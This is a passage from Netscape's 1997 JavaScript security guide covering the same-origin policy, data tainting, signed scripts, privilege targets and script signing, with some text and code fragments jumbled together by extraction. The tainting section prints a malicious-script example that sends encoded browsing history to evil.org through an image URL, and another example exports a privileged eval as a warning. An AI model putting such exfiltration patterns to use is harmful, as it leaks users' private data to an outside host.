javascript: URLs as new unsigned scripts.
In Navigator 3.0, you could use data tainting to get access to additional information. "Using Data Tainting in Navigator 3.0" describes data tainting.
Navigator 4.0 removes data tainting and instead adds the signed script policy. This new policy for JavaScript is based upon the new Java security model, called object signing. To make use of the new policy in JavaScript, you must use the new Java security classes and then sign your JavaScript scripts. "Using Signed Scripts in Navigator 4.0" describes signed scripts.
Same Origin Policy
The same origin policy is quite simple: When loading a document from one origin, a script loaded from a different origin cannot get or set certain predefined properties of certain browser and HTML objects in a window or frame. (Those properties are listed in Table 7.2.)
Here, Navigator defines the origin as the substring of a URL that includes protocol://host where host includes the optional :port part. To illustrate, Table 7.1 gives examples of origin comparisons to the URL http://company.com/dir/page.html.
Table 7.1 Same origin comparisons
There is one exception to the same origin rule. A script can set the value of document.domain to a suffix of the current domain. If it does so, the shorter domain is used for subsequent origin checks. For example, assume a script in the document at http://www.company.com/dir/other.html executes this statement:
document.domain = "company.com";
After execution of that statement, the page would pass the origin check with http://company.com/dir/page.html.
Table 7.2 lists the properties that can be accessed only by scripts that pass the same origin check.
Table 7.2 Properties subject to origin check
New Access Errors
To tighten security, some changes have been made in Navigator 4.0 to when the origin checks apply.
Named forms
In Navigator 3.0, named forms were not subject to an origin check even though the document.forms array was. In Navigator 4.0, named forms are also subject to an origin check. This can cause existing code to break.
You can easily work around the resulting security errors. To do so, create a new variable as a property of the window object, setting the named form as the value of the variable. You can then access that variable (and hence the form) through the window object.
File: URLs
Prior to Navigator 4.0, when you use <SCRIPT SRC="..."> to load a JavaScript file, the URL specified in the SRC attribute could be any URL type (file:, http:, and so on), regardless of the URL type of the file that contained the SCRIPT tag.
In Navigator 4.0, if you load a document with any URL other than a file: URL, and that document itself contains a <SCRIPT SRC="..."> tag, the internal SRC attribute can't refer to another file: URL.
To get the 3.0 behavior in 4.0, users can add the following line to their preferences file:
user_pref("javascript.allow.file_src_from_non_file", true);
However, be cautious with this preference. It opens a security hole. Users shouldn't set this preference to true unless they have some overriding reason for accepting that risk.
Origin Checks and Layers
A layer can have a different origin than the surrounding document. Origin checks are made between documents and scripts in layers from different origins. That is, if a document has one or more layers, JavaScript checks the origins of those layers before they can interact with each other or with the parent document.
For information on layers, see Dynamic HTML in Netscape Communicator.
Origin Checks and Java Applets
Your HTML page can contain APPLET tags to use Java applets. If an APPLET tag has the MAYSCRIPT attribute, that applet can use JavaScript. In this situation, the applet is subject to origin checks when calling JavaScript. For this purpose, the origin of the applet is the URL of the document that contains the APPLET tag.
Using Data Tainting in Navigator 3.0
JavaScript for Navigator 3.0 has a feature called data tainting that retains the security restriction of the same origin policy but provides a means of secure access to specific components on a page. This feature is available only in Navigator 3.0; it was removed in Navigator 4.0.
How Tainting Works
A page's author is in charge of tainting elements. Table 7.3 lists properties and methods that are tainted by default.
Table 7.3 Properties tainted by default
You can use tainted data elements any way you want in your script, but if your script attempts to pass a tainted element's value or any data derived from it over the network in any way (for example, via a form submission or URL), a dialog box is displayed so the user can confirm or cancel the operation.
Values derived from tainted data elements are also tainted. If a tainted value is passed to a function, the return value of the function is tainted. If a string is tainted, any substring of the string is also tainted. If a script examines a tainted value in an if, for, or while statement, the script itself accumulates taint.
You can taint and untaint properties, variables, functions, and objects, as described in "Tainting and Untainting Individual Data Elements". You cannot untaint another server's properties or data elements.
Enabling Tainting
To enable data tainting, the end user sets the NS_ENABLE_TAINT environment variable as follows:
NS_ENABLE_TAINT can have any value; "1" will do.
If the end user does not enable tainting and a script attempts to access properties of a window on another server, a message is displayed indicating that access is not allowed.
To determine whether tainting is enabled, use the taintEnabled method. The following code executes function1 if data tainting is enabled; otherwise it executes function2.
if (navigator.taintEnabled()) {
function1()
}
else function2()
See taintEnabled in the JavaScript Reference.
Tainting and Untainting Individual Data Elements
You can taint data elements (properties, variables, functions, objects) in your scripts to prevent the returned values from being used inappropriately by other scripts or propagating beyond another script. You might want to remove tainting from a data element so other scripts can read and do anything with it. You cannot untaint another server's data elements.
You control the tainting of data elements with two functions: taint adds tainting to a data element, and untaint removes tainting from a data element. These functions each take a single data element as an argument.
For example, the following statement removes taint from a property so that a script can send it to another server:
untaintedStat=untaint(window.defaultStatus)
Neither
// untaintedStat can now be sent in a URL or form post by other scriptstaint nor untaint modifies its argument; rather, both functions return a marked or unmarked reference to the argument object, or copy of the primitive type value (number or boolean value). The mark is called a taint code. JavaScript assigns a unique taint code to each server's data elements. Untainted data has the identity (null) taint code.
See taint and untaint in the JavaScript Reference.
Tainting that Results from Conditional Statements
In some cases, control flow rather than data flow carries tainted information. To handle these cases, each window has a taint accumulator. The taint accumulator holds taint tested in the condition portion of if, for, and while statements. The accumulator mixes different taint codes to create new codes that identify the combination of data origins (for example, serverA, serverB, or serverC).
The taint accumulator is reset to identity only if it contains the current document's original taint code. Otherwise, taint accumulates until the document is unloaded. All windows loading documents from the same origin share a taint accumulator.
You can add taint to or remove taint from a window's taint accumulator.
setTimeout and into the evaluation of the first argument to setTimeout. It propagates through document.write into generated tags, so that a malicious script cannot signal private information such as session history by generating an HTML tag with an implicitly-loaded URL SRC parameter such as the following:
document.write("<IMG SRC=http://evil.org/cgi.bin/fake-img?" +
encode(history) + ">")
This document describes the security model used by JavaScript in Navigator 4.x and provides information on how you can use the new security features to create signed JavaScript scripts.
There are two security policies in JavaScript:
SCRIPT tag), event handlers, JavaScript entities, and separate JavaScript files.
SecurityManager class. You can use these classes to exercise fine-grained control over activities beyond the "sandbox"--the Java term for the carefully defined limits within which Java code must otherwise operate.
All access-control decisions boil down to who is allowed to do what. In this model, a principal represents the "who," a target represents the "what," and the privileges associated with a principal represent the authorization (or denial of authorization) for a principal to access a specific target.
Once you have written the script, you sign it using Netscape's Page Signer tool. Page Signer associates a digital signature with the scripts on an HTML page. That digital signature is owned by a particular principal (a real-world entity such as Netscape or John Smith). A single HTML page can have scripts signed by different principals. The digital signature is placed in a Java Archive (JAR) file. If you sign an inline script, event handler, or JavaScript entity, Page Signer stores only the signature and the identifier for the script in the JAR file. If you sign a JavaScript file with Page Signer, it stores the source in the JAR file as well.
The associated principal allows the user to confirm the validity of the certificate used to sign the script. It also allows the user to ensure that the script hasn't been tampered with since it was signed. The user then can decide whether to grant privileges based on the validated identity of the certificate owner and validated integrity of the script.
You should always keep in mind that a user may deny the privileges requested by your script. You should write your scripts to react gracefully to such decisions.
This document assumes that you are already familiar with the basic principles of object signing, using the Java Capabilities API, and creating digital signatures. The following documents provide information on these subjects:
NOTE: Navigator 3.0 provided data tainting to provide a means of secure access to specific components on a page. Because signed scripts provide greater security than tainting, tainting has been disabled in Navigator 4.x.
Codebase Principals
As does Java, JavaScript supports codebase principals. A codebase principal is a principal derived from the origin of the script rather than from verifying a digital signature of a certificate. Since codebase principals offer weaker security, they are disabled by default in Navigator.
For deployment, your scripts should not rely on codebase principals being enabled. You might want to enable codebase principals when developing your scripts, but you should sign them before delivery.
To enable codebase principals, end users must add the appropriate preference to their Navigator preference file. To do so, add this line to the file:
user_pref("signed.applets.codebase_principal_support", true);
Even when codebase principals are disabled, Navigator keeps track of codebase principals to use in enforcement of the same origin security policy, described in "Same Origin Policy". Unsigned scripts have an associated set of principals that contains a single element, the codebase principal for the page containing the script. Signed scripts also have codebase principals in addition to the stronger certificate principals.
NOTE:
If a page includes signed scripts and codebase scripts, and
signed.applets.codebase_principal_support is enabled, all of the scripts
on that page are treated as though they are unsigned and codebase principals
apply.
For more information on codebase principals, see Introduction to the Capabilities Classes.
final in Java cannot be extended and so is protected from an attacker.
On the other hand, because JavaScript has no concept of public and private methods, there are no internal methods that could be protected by simply signing a class. In addition, all methods can be changed at runtime, so must be protected at runtime.
In JavaScript you can add new properties to existing objects, or replace existing properties (including methods) at runtime. You cannot do this in Java. So, once again, protection that is automatic in Java must be handled separately in JavaScript.
While the signed script security model for JavaScript is based on the object signing model for Java, these differences in the languages mean that when JavaScript scripts produced by different principals interact, it is much harder to protect the scripts. Because all of the JavaScript code on a single HTML page runs in the same process, different scripts on the same page can change each other's behavior. For example, a script might redefine a function defined by an earlier script on the same page.
To ensure security, the basic assumption of the JavaScript signed script security model is that mixed scripts on an HTML page operate as if they were all signed by the intersection of the principals that signed each script.
For example, assume principals A and B have signed one script, but only principal A signed another script. In this case, a page with both scripts acts as if it were signed by only A.
This assumption also means that if a signed script is on the same page as an unsigned script, both scripts act as if they were unsigned. This occurs because the signed script has a codebase principal and a certificate principal, whereas the unsigned script has only a codebase principal. (See "Codebase Principals".) The two codebase principals are always the same for scripts from the same page; therefore, the intersection of the principals of the two scripts yields only the codebase principal. This is also what happens if both scripts are unsigned.
You can use the import and export functions to allow scripts signed by different principals to interact in a secure fashion. For information on how to do so, see "Importing and Exporting Functions".
Checking Principals for Windows and Layers
In order to protect signed scripts from tampering, Navigator 4.0 adds a new set of checks at the container level, where a container is either a window or a layer. To access the properties of a signed container, the script seeking access must be signed by a superset of the principals that signed the container.
These cross-container checks apply to most properties, whether predefined (by Navigator) or user-defined (whether by HTML content, or by script functions and variables). The cross-container checks do not apply to the following properties of window:
closed height outerHeight outerWidth pageXOffset pageYOffset screenX screenY secure width
Figure 7.1 Assigning principals to layers.
javascript: URLs as new unsigned scripts.
For example, assume a page has two scripts (and no layers), with one script signed and the other unsigned. Navigator first sees the signed script, which causes the window object to be associated with two principals--the certificate principal from the signer of the script and the codebase principal derived from the location of the page containing the script.
When Navigator sees the second (unsigned) script, it compares the principals of that script with the principals of the current container. The unsigned script has only one principal, the codebase principal. Without layers the innermost container is the window itself, which already has principals.
Because the sets of principals differ, they are intersected, yielding a set with one member, the codebase principal. Navigator stores the result on the window object, narrowing its set of principals. Note that all functions that were defined in the signed script are now considered unsigned. Consequently, mixing signed and unsigned scripts on a page without layers results in all scripts being treated as if they were unsigned.
Now assume the unsigned script is in a layer on the page. This results in different behavior. In this case, when Navigator sees the unsigned script, its principals are again compared to those of the signed script in the window and the principals are found to be different. However, now that the innermost container (the layer) has no associated principals, the unsigned principals are associated with the innermost container; the outer container (the window) is untouched. In this case, signed scripts continue to operate as signed. However, accesses by the unsigned script in the layer to objects outside the layer are rejected because the layer has insufficient principals. See "Isolating an Unsigned Layer within a Signed Container" for more information on this case.
Identifying Signed Scripts
You can sign inline scripts, event handler scripts, JavaScript files, and JavaScript entities. You cannot sign javascript: URLs. You must identify the thing you're signing within the HTML file:
ARCHIVE attribute
All signed scripts (inline script, event handler, JavaScript file, or JavaScript entity) require a SCRIPT tag's ARCHIVE attribute whose value is the name of the JAR file containing the digital signature. For example, to sign a JavaScript file, you could use this tag:
<SCRIPT ARCHIVE="myArchive.jar" SRC="myJavaScript.js"> </SCRIPT>
Event handler scripts do not directly specify the ARCHIVE. Instead, the handler must be preceded by a script containing ARCHIVE. For example:
<SCRIPT ARCHIVE="myArchive.jar" ID="a">
...
</SCRIPT><FORM>
Unless you use more than one JAR file, you need only specify the file once. Include the
<INPUT TYPE="button" VALUE="OK"
onClick="alert('A signed script')" ID="b">
</FORM>ARCHIVE tag in the first script on the HTML page and the remaining scripts on the page use the same file. For example:
<SCRIPT ARCHIVE="myArchive.jar" ID="a">
document.write("This script is signed.");
</SCRIPT><SCRIPT ID="b">
document.write("This script is signed too.");
</SCRIPT> ID Attribute
Signed inline and event handler scripts require the ID attribute. The value of this attribute is a string that relates the script to its signature in the JAR file. The ID must be unique within a JAR file.
When a tag contains more than one event handler script, you only need one ID. The entire tag is signed as one piece.
In the following example, the first three scripts use the same JAR file. The third script accesses a JavaScript file so it doesn't use the ID tag. The fourth script uses a different JAR file, and its ID of "a" is unique to that file.
<HTML>
<SCRIPT ARCHIVE="firstArchive.jar" ID="a">
document.write("This is a signed script.");
</SCRIPT><BODY
onLoad="alert('A signed script using firstArchive.jar')"
onLoad="alert('One ID needed for these event handler scripts')"
ID="b"><SCRIPT SRC="myJavaScript.js">
</SCRIPT><LAYER>
<SCRIPT ARCHIVE="secondArchive.jar" ID="a">
document.write("This script uses the secondArchive.jar file.");
</SCRIPT>
</LAYER></BODY>
</HTML> Using Expanded Privileges
As with Java signed objects, signed scripts use calls to Netscape's Java security classes to request expanded privileges. The Java classes are explained in Java Capabilities API.
In the simplest case, you add one line of code asking permission to access a particular target representing the resource you want to access. (See "Targets" for more information.) For example:
netscape.security.PrivilegeManager.enablePrivilege("UniversalSendMail")
When the script calls this function, the signature is verified, and if the signature is valid, expanded privileges can be granted. If necessary, a dialog displays information about the application's author, and gives the user the option to grant or deny expanded privileges.
Privileges are granted only in the scope of the requesting function and only after the request has been granted in that function. This scope includes any functions called by the requesting function. When the script leaves the requesting function, privileges no longer apply.
The following example demonstrates this by printing:
7: disabled
Function
5: disabled
2: disabled
3: enabled
1: enabled
4: enabled
6: disabled
8: disabledg requests expanded privileges, and only the commands and functions called after the request and within function g are granted privileges.
<SCRIPT ARCHIVE="ckHistory.jar" ID="a">
function printEnabled(i) {
if (history[0] == "") {
document.write(i + ": disabled<BR>");
} else {
document.write(i + ": enabled<BR>");
}
}function f() {
printEnabled(1);
}function g() {
printEnabled(2);
netscape.security.PrivilegeManager.enablePrivilege(
"UniversalBrowserRead");
printEnabled(3);
f();
printEnabled(4);
}function h() {
printEnabled(5);
g();
printEnabled(6);
}printEnabled(7);
h();
printEnabled(8);</SCRIPT>
Targets
The types of information you can access are called targets. These are listed below.
For a complete list of targets, see Netscape System Targets.
JavaScript Features Requiring Privileges
This section lists the JavaScript features that require expanded privileges and the target used to access each feature. Unsigned scripts cannot use any of these features, unless the end user has enabled codebase principals.
UniversalFileRead.
mailto: or news: URL requires UniversalSendMail.
about: URL other than about:blank requires UniversalBrowserRead.
event object: Setting any property requires UniversalBrowserWrite.
DragDrop event: Getting the value of the data property requires UniversalBrowserRead.
history object: Getting the value of any property requires UniversalBrowserRead.
preference method requires UniversalPreferencesRead.preference method requires UniversalPreferencesWrite.
window object: Allow of the following operations require UniversalBrowserWrite.
<SCRIPT ARCHIVE="myArchive.jar" ID="a">
function getHistory(i) {
//Attempt to access privileged information
return history[i];
}
function getImmediateHistory() {
//Request privilege
netscape.security.PrivilegeManager.enablePrivilege(
"UniversalBrowserRead");
return getHistory(1);
}
</SCRIPT>
...
<INPUT TYPE="button" onClick="alert(getImmediateHistory());" ID="b">
Capturing Events from Other Locations
If a window with frames needs to capture events in pages loaded from different locations (servers), use the enableExternalCapture method in a signed script requesting UniversalBrowserWrite privileges. Use this method before calling the captureEvents method. For example, with the following code the window can capture all Click events that occur across its frames.
<SCRIPT ARCHIVE="myArchive.jar" ID="archive">
...
function captureClicks() {
netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserWrite");
enableExternalCapture();
captureEvents(Event.CLICK);
...
}
...
</SCRIPT> Isolating an Unsigned Layer within a Signed Container
To create an unsigned layer within a signed container, you need to perform some additional steps to make scripts in the unsigned layer work properly.
import and export statements. Exporting a function name makes it available to be imported by scripts outside the container without being subject to a container test.
You can only import and export functions, either top-level functions (associated with a window object) or methods of some other object. You cannot import or export entire objects or properties that aren't functions.
Importing a function into your scope creates a new function of the same name as the imported function. Calling that function calls the corresponding function from the secure container.
To use import and export, you must explicitly set the LANGUAGE attribute of the SCRIPT tag to "JavaScript1.2".
In the signed script that defines a function you want to let other scripts access, use the export statement. The syntax of this statement is:
exportStmt ::= export exprListwhere each expr must resolve to the name of a function. The
exprList ::= expr | expr, exprList
export statement marks each function as importable.
In the script in which you want to import that function, use the import statement. The syntax of this statement is:
importStmt ::= import importListExecuting
importList ::= importElem | importElem, importList
importElem ::= expr.funName | expr.*
import expr.funName evaluates expr and then imports the funName function of that object into the current scope. It is an error if expr does not evaluate to an object, if there is no function named funName, or if the function exists but has not been marked as importable. Executing import expr.* imports all importable functions of expr.
containerAccess.html defines the frameset and calls a user function when the frameset is loaded. One page, secureContainer.html, has signed scripts and exports a function. The other page, access.html, imports the exported function and calls it.
While this example exports a function that does not enable or require expanded privileges, you can export functions that do enable privileges. If you do so, you should be very careful to not inadvertently allow access to an attacker. For more information, see "Be Careful What You Export".
The file containerAccess.html contains this code:
<HTML>
The file
<FRAMESET NAME=myframes ROWS="50%,*" onLoad="inner.myOnLoad()">
<FRAME NAME=inner SRC="access.html">
<FRAME NAME=secureContainer SRC="secureContainer.html">
</FRAMESET>
</HTML>secureContainer.html contains this code:
<HTML>
This page defines a variable and two functions.
Only one function, publicFunction, is exported.
<BR><SCRIPT ARCHIVE="secureContainer.jar" LANGUAGE="JavaScript1.2" ID="a">
function privateFunction() {
return 7;
}var privateVariable = 23;
function publicFunction() {
return 34;
}
export publicFunction;netscape.security.PrivilegeManager.enablePrivilege(
"UniversalBrowserRead");
document.write("This page is at " + history[0]);// Privileges revert automatically when the script terminates.
The file
</SCRIPT>
</HTML>access.html contains this code:
<HTML>
This page attempts to access an exported function from a signed
container. The access should succeed.<SCRIPT LANGUAGE="JavaScript1.2">
function myOnLoad() {
var ctnr = top.frames.secureContainer;
import ctnr.publicFunction;
alert("value is " + publicFunction());
}</SCRIPT>
</HTML> Hints for Writing Secure JavaScript
Check the Location of the Script
If you have signed scripts in pages you have posted to your site, it is possible to copy the JAR file from your site and post it on another site. As long as the signed scripts themselves are not altered, the scripts will continue to operate under your signature. (See "Debugging Invalid Hash Errors" for one exception to this rule.)
If you wish to prevent this, you can force your scripts to work only from your site.
<SCRIPT ARCHIVE="siteSpecific.jar" ID="a" LANGUAGE="JavaScript1.2">
Then if the JAR file and script are copied to another site, they no longer work. If the person who copies the script alters it to bypass the check on the source of the script, the signature is invalidated.
if (document.URL.match(/^http:\/\/www.company.com\//)) {
netscape.security.PrivilegeManager.enablePrivilege(...);
// Do your stuff
}
</SCRIPT> Be Careful What You Export
When you export functions from your signed script, you are in effect transferring any trust the user has placed in you to any script that calls your functions. This means you have a responsibility to ensure that you are not exporting interfaces that can be used in ways you do not want. For example, the following program exports a call to eval that can operate under expanded privileges.
<SCRIPT ARCHIVE="duh.jar" ID="a">
Now any other script can import
function myEval(s) {
netscape.security.PrivilegeManager.enablePrivilege(
"UniversalFileAccess");
return eval(s);
}
export myEval; // Don't do this!!!!
</SCRIPT>myEval and read and write any file on the user's hard disk using trust the user has granted to you.
Minimize the Trusted Code Base
In security parlance, the trusted code base (TCB) is the set of code that has privileges to perform restricted actions. One way to improve security is reduce the size of the TCB, which then gives fewer points for attack or opportunities for mistakes.
For example, the following code, if executed in a signed script with the user's approval, opens a new window containing the history of the browser:
<SCRIPT ARCHIVE="historyWin.jar" ID="a">
The TCB in this instance is the entire script because privileges are acquired at the beginning and never reverted. You could reduce the TCB by rewriting the program as follows:
netscape.security.PrivilegeManager.enablePrivilege(
"UniversalBrowserAccess");
var win = window.open();
for (var i=0; i < history.length; i++) {
win.document.writeln(history[i] + "<BR>");
}
win.close();
</SCRIPT><SCRIPT ARCHIVE="historyWin.jar" ID="a">
With this change, the TCB becomes only the loop containing the accesses to the
var win = window.open();
netscape.security.PrivilegeManager.enablePrivilege(
"UniversalBrowserAccess");
for (var i=0; i < history.length; i++) {
win.document.writeln(history[i] + "<BR>");
}
netscape.security.PrivilegeManager.revertPrivilege(
"UniversalBrowserAccess");
win.close();
</SCRIPT>history property. You could avoid the extra call into Java to revert the privilege by introducing a function:
<SCRIPT ARCHIVE="historyWin.jar" ID="a">
The privileges are automatically reverted when
function writeArray() {
netscape.security.PrivilegeManager.enablePrivilege(
"UniversalBrowserAccess");
for (var i=0; i < history.length; i++) {
win.document.writeln(history[i] + "<BR>");
}
}
var win = window.open();
writeArray();
win.close();
</SCRIPT>writeArray returns, so you don't have to do so explicitly.
Use the Minimal Capability Required for the Task
Another way of reducing your exposure to exploits or mistakes is by only using the minimal capability required to perform the given access. For example, the previous code requested UniversalBrowserAccess, which is a macro target containing both UniversalBrowserRead and UniversalBrowserWrite. Only UniversalBrowserRead is required to read the elements of the history array, so you could rewrite the above code more securely:
<SCRIPT ARCHIVE="historyWin.jar" ID="a">
function writeArray() {
netscape.security.PrivilegeManager.enablePrivilege(
"UniversalBrowserRead");
for (var i=0; i < history.length; i++) {
win.document.writeln(history[i] + "<BR>");
}
}
var win = window.open();
writeArray();
win.close();
</SCRIPT> Signing Scripts
During development of a script you'll eventually sign, you can use codebase principals for testing, as described in "Codebase Principals". Once you've finished modifying the script, you need to sign it.
For any script to be granted expanded privileges, all scripts on the same HTML page or layer must be signed. If you use layers, you can have both signed and unsigned scripts as long as you keep them in separate layers. For more information, see "Using Signed Scripts in Navigator 4.0".
You can sign JavaScript files (accessed with the SRC attribute of the SCRIPT tag), inline scripts, event handler scripts, and JavaScript entities. You cannot sign javascript: URLs. Before you sign the script, be sure you've properly identified it, as described in "Identifying Signed Scripts".
Using Page Signer
Use Page Signer to sign scripts. Page Signer is a Perl script (signPages) that uses Zigbert to sign your scripts and package the digital signature and related information in a JAR file.
The signPages script extracts scripts from HTML files, signs them, and places their digital signatures in the archive specified by the ARCHIVE attribute in the SCRIPT tag from the HTML files. It also takes care of copying external JavaScript files loaded by the SRC attribute of the SCRIPT tag. The SCRIPT tags in the HTML pages can specify more than one JAR file; if so, signPages creates as many JAR files as it needs.
For more information on using these tools, see Zigbert User's Guide.
After Signing
Once you've signed a script, any time you change it you must resign it. For JavaScript files, this means you cannot change anything in the file. For inline scripts, you cannot change anything between the initial <SCRIPT ...> and the closing </SCRIPT>. For event handlers and JavaScript entities, you cannot change anything at all in the tag that includes the handler or entity.
A change can be as simple as adding or removing whitespace in the script.
Changes to a signed script's byte stream invalidate the script's signature. This includes moving the HTML page between platforms that have different representations of text. For example, moving an HTML page from a Windows server to a UNIX server changes the byte stream and invalidates the signature. (This doesn't affect viewing pages from multiple platforms.) To avoid this, you can move the page in binary mode. Note that doing so changes the appearance of the page in your text editor but not in the browser.
Although you cannot make changes to the script, you can make changes to the surrounding information in the HTML file. You can even copy a signed script from one file to another, as long as you make sure you change nothing within the script.
Troubleshooting Signed Scripts
Errors on the Java Console
Be sure to check the Java console for errors if your signed scripts do not function as expected. You may see errors such as the following:
# Error: Invalid Hash of this JAR entry (-7882)
The path value printed for signed JavaScript is either the value of the
# jar file: C:\Program Files\Netscape\Users\norris\cache\MVI9CF1F.JAR
# path: 1ID attribute or the SRC attribute of the tag that supplied the script.
Debugging Invalid Hash Errors
Invalid hash errors occur if the script has changed from when it was signed. The most common cause of this problem is that the scripts have been moved from one platform to another with a text transfer rather than a binary transfer. Because line separator characters can differ from platform to platform, the hash could change from when the script was originally signed.
One good way to debug this sort of problem is to use the -s option to signPages, which will save the inline scripts in the JAR file. You can then unpack the jar file when you get the hash errors and compare it to the HTML file to track down the source of the problems. For information on signPages, see Zigbert User's Guide.
"User did not grant privilege" Exception or Unsigned Script Dialog
Depending on whether or not you have enabled codebase principals, you see different behavior if a script attempts to enable privileges when it isn't signed or when its principals have been downgraded due to mixing.
If you have not enabled codebase principals and a script attempts to enable privileges for an unsigned script, it gets an exception from Java that the "user did not grant privilege". If you did enable codebase principals, you will see a Java security dialog that asking for permissions for the unsigned code.
This behavior is caused by either an error in verifying the certificate principals (which will cause an error to be printed to the Java console; see "Errors on the Java Console"), or by mixing signed and unsigned scripts. There are many possible sources of unsigned scripts. In particular, because there is no way to sign Javascript: URLs or dynamically generated scripts, using them causes the downgrading of principals.
Last Updated: 11/26/97 09:25:42